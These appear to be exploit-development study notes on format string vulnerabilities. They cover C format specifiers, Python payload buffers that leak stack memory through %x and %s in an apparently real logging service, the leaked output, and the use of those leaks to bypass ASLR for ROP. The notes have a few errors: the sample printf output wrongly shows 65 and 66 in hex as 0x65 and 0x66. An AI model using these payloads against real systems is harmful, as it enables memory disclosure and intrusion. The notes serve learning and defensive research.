Format String Attacks

Format String Specifier Attack Notes - Mod 0x0b

Common C++ format functions include:

    printf, sprintf, vsnprintf

Lisiting 616:
    Type - Argument    -    Output format 
    x      Integer          Unsigned hexadecimal integer 
    i      Integer          Unsigned decimal integer 
    e      Floating-point   Signed value that has the form [ - ]d.dddd e [sign]dd 
    s      String           Specifies a character string up to the first null character 
    n      Pointer          Number of characters that are successfully written so far

If a function such as printf is called with more string specifiiers than arguements arbitrary memory will be returned:

    printf("Input: 0x%x, 0x%x, 0x%x", 65, 66)
    
    Will result in an arbitrary memory value being returned for the final  %x specifier:

        Input: 0x65, 0x66, 0x2e1022

In some cases if one format string is called which edits the format string used by another format string function this situation can be engineered:

    Before _ml_vsnprintf: 
    "This is my string: %s" 

    By providing the string "%x%x%x%x":

    After _ml_vsnprintf: 
    "This is my string: %x%x%x%x" 

    Any other format functions utilizing this string will now be subject to the above vulnerability.


Assuming this format string can be retrieved, in the example via a function which allowed logs to be read remotely, this vulnerability can be utilized to create a read primitive.

Creating a read primitive:

    The %s specifier reads in a pointer to a charecter array, derefrences it and prints the data found. 

    If any data leaked is controllable, such as at the beggining or end of the edited format string, IE:

        # psCommandBuffer
	    buf += b"w00t:" + b"%x:" * 0x80    
	    buf += b"B" * 0x100 
	    buf += b"C" * 0x100 

        Resulting in a vulnerable format string which is later processed:

        "AGI_S_GetAgentSignature: couldn'" 
        "t find agent w00t:%x%x%x%x%x%x%x%x%x%" 
        "x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%" 
        "x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%" 
        "x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%" 
        "x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%" 
        "x%x%.."

        Resulting in leaked memory printing to the log:

        w00t:c4:d93ded4:3a:25:12e:78:0:5f494741:65475f53:65674174:6953746e:74616e67:3a657275:7
        56f6320:276e646c:69662074:6120646e:746e6567:30307720:78253a74:3a78253a:253a7825

        Notably the output includes the "w00t:" (773030743a) string as well as some ":%x" (3a2578) specifiers printing in hex, implying we have controllable data which is processed on our stack. 

    Replacing the %x specifiers which print the controllable data with a %s specifier and adding a leaked pointer will allow us to retrieve an address in the target module.

        # psCommandBuffer 
        buf += b"w00t:BBAAAA" + b"%x:" * 20 
        buf += b"%s" 
        buf += b"%x" * 0x6b  
        buf += b"B" * 0x100  
        buf += b"C" * 0x100

        Results in an access violation at 0x41414141 

Leveraging a read primitive to bypass ASLR:

    After taking advantage of a format string vulnerability a stack address on the current stack should be leakable.

    Utilizing an input() right before closing the connecection in our python script we can inspect the stack for useful pointers. 
    
    Search for pointers which are a consistent offset from the leaked address across multiple restarts which point to consistent locations in a target module which can be leveraged for ROP.

Last updated

Was this helpful?